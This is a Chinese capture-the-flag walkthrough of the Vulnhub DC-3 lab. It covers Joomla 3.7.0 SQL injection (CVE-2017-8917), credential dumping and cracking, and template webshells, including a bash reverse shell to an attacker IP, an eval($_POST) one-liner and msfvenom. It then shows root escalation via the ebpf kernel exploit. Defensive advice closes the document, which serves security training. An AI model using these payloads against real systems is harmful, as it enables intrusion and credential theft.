Vulnhub靶机渗透测试之DC-3-Joomla
字数 1352 2025-08-15 21:33:04

Joomla CMS渗透测试实战:DC-3靶机攻防详解

1. 环境准备

1.1 靶机信息

  • 靶机名称:DC-3
  • 下载地址:https://www.vulnhub.com/entry/dc-32,312/
  • 目标:获取/root目录下的flag文件
  • 系统环境:Ubuntu 16.04
  • CMS类型:Joomla 3.7.0

1.2 攻击机配置

  • 网络模式:桥接模式
  • 示例IP:192.168.0.114

1.3 常见问题解决

错误提示:IDE设备(磁盘/CD-ROM)配置不正确。"ide1:1"上具有一个IDE从设备,但没有主设备。

解决方法

  1. 选择虚拟机
  2. 点击"虚拟机"→"设置"→"CD/DVD(IDE)"
  3. 点击"高级"
  4. 将启动设备设置到IDE 0:0

2. 信息收集

2.1 初始扫描

使用nmap进行基础扫描:

nmap -sV 192.168.0.106

预期结果:

  • 开放80端口
  • 识别出Joomla CMS系统

2.2 Joomla专用扫描

使用joomscan工具进行深度扫描:

git clone https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl --url http://192.168.0.106

扫描结果:

  • Joomla版本:3.7.0
  • 存在漏洞:CVE-2017-8917 (SQL注入)

3. 漏洞利用

3.1 SQL注入漏洞利用

漏洞验证POC

http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

使用sqlmap自动化利用

  1. 获取数据库名:
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbs --batch
  1. 获取表名:
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables --batch

发现关键表:#__users

  1. 获取用户凭证:
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C name,password --dump --batch
  1. 破解密码哈希:
john hash.txt

示例结果:密码明文为"snoopy"

4. 获取访问权限

4.1 后台登录

访问后台地址:

http://192.168.0.106/administrator

使用获取的凭证登录(用户名:admin,密码:snoopy)

4.2 获取Webshell

方法1:直接插入反弹shell

  1. 编辑模板文件(如beez3/error.php)
  2. 插入以下代码:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.114/4444 0>&1'"); ?>
  1. 在攻击机监听:
nc -lvnp 4444
  1. 访问触发页面:
http://192.168.0.106/templates/beez3/error.php

方法2:一句话木马
插入代码:

<?php eval($_POST['cmd']); ?>

使用蚁剑等工具连接

方法3:冰蝎木马
插入冰蝎默认PHP木马代码

方法4:MSF生成payload

  1. 生成payload:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -f raw > shell.php
  1. 上传并执行
  2. MSF设置监听

5. 权限提升

5.1 系统信息收集

uname -a

结果显示:Ubuntu 16.04

5.2 查找可用漏洞

searchsploit Ubuntu 16.04

发现可用漏洞:Linux Kernel 4.4.0 (Ubuntu 16.04) - 'ebpf' Local Privilege Escalation

5.3 利用内核漏洞提权

  1. 下载exp:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
  1. 上传到目标系统
  2. 解压并编译:
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
  1. 获取root权限

6. 获取flag

cat /root/flag.txt

7. 知识点总结

  1. Joomla CMS

    • PHP+MySQL开发的内容管理系统
    • 广泛用于商业网站、博客等
    • 支持多语言、SEO友好
  2. joomscan工具

    • 专用Joomla漏洞扫描器
    • 可识别版本和已知漏洞
  3. CVE-2017-8917

    • Joomla 3.7.0的SQL注入漏洞
    • 影响com_fields组件
    • 可获取管理员凭证
  4. Linux提权技术

    • 内核漏洞利用
    • 需要信息收集确定系统版本
    • 编译执行预制的exploit
  5. Webshell技术

    • 多种获取方式(直接插入、上传等)
    • 可结合多种工具(蚁剑、冰蝎、MSF)
    • 模板编辑是常见入口点

8. 防御建议

  1. 及时更新Joomla到最新版本
  2. 限制后台访问IP
  3. 使用强密码策略
  4. 定期审计模板和插件文件
  5. 保持操作系统和内核更新
  6. 实施最小权限原则
  7. 监控异常文件修改行为
Joomla CMS渗透测试实战:DC-3靶机攻防详解 1. 环境准备 1.1 靶机信息 靶机名称:DC-3 下载地址:https://www.vulnhub.com/entry/dc-32,312/ 目标:获取/root目录下的flag文件 系统环境:Ubuntu 16.04 CMS类型:Joomla 3.7.0 1.2 攻击机配置 网络模式:桥接模式 示例IP:192.168.0.114 1.3 常见问题解决 错误提示 :IDE设备(磁盘/CD-ROM)配置不正确。"ide1:1"上具有一个IDE从设备,但没有主设备。 解决方法 : 选择虚拟机 点击"虚拟机"→"设置"→"CD/DVD(IDE)" 点击"高级" 将启动设备设置到IDE 0:0 2. 信息收集 2.1 初始扫描 使用nmap进行基础扫描: 预期结果: 开放80端口 识别出Joomla CMS系统 2.2 Joomla专用扫描 使用joomscan工具进行深度扫描: 扫描结果: Joomla版本:3.7.0 存在漏洞:CVE-2017-8917 (SQL注入) 3. 漏洞利用 3.1 SQL注入漏洞利用 漏洞验证POC : 使用sqlmap自动化利用 : 获取数据库名: 获取表名: 发现关键表: #__users 获取用户凭证: 破解密码哈希: 示例结果:密码明文为"snoopy" 4. 获取访问权限 4.1 后台登录 访问后台地址: 使用获取的凭证登录(用户名:admin,密码:snoopy) 4.2 获取Webshell 方法1:直接插入反弹shell 编辑模板文件(如beez3/error.php) 插入以下代码: 在攻击机监听: 访问触发页面: 方法2:一句话木马 插入代码: 使用蚁剑等工具连接 方法3:冰蝎木马 插入冰蝎默认PHP木马代码 方法4:MSF生成payload 生成payload: 上传并执行 MSF设置监听 5. 权限提升 5.1 系统信息收集 结果显示:Ubuntu 16.04 5.2 查找可用漏洞 发现可用漏洞:Linux Kernel 4.4.0 (Ubuntu 16.04) - 'ebpf' Local Privilege Escalation 5.3 利用内核漏洞提权 下载exp: 上传到目标系统 解压并编译: 获取root权限 6. 获取flag 7. 知识点总结 Joomla CMS : PHP+MySQL开发的内容管理系统 广泛用于商业网站、博客等 支持多语言、SEO友好 joomscan工具 : 专用Joomla漏洞扫描器 可识别版本和已知漏洞 CVE-2017-8917 : Joomla 3.7.0的SQL注入漏洞 影响com_ fields组件 可获取管理员凭证 Linux提权技术 : 内核漏洞利用 需要信息收集确定系统版本 编译执行预制的exploit Webshell技术 : 多种获取方式(直接插入、上传等) 可结合多种工具(蚁剑、冰蝎、MSF) 模板编辑是常见入口点 8. 防御建议 及时更新Joomla到最新版本 限制后台访问IP 使用强密码策略 定期审计模板和插件文件 保持操作系统和内核更新 实施最小权限原则 监控异常文件修改行为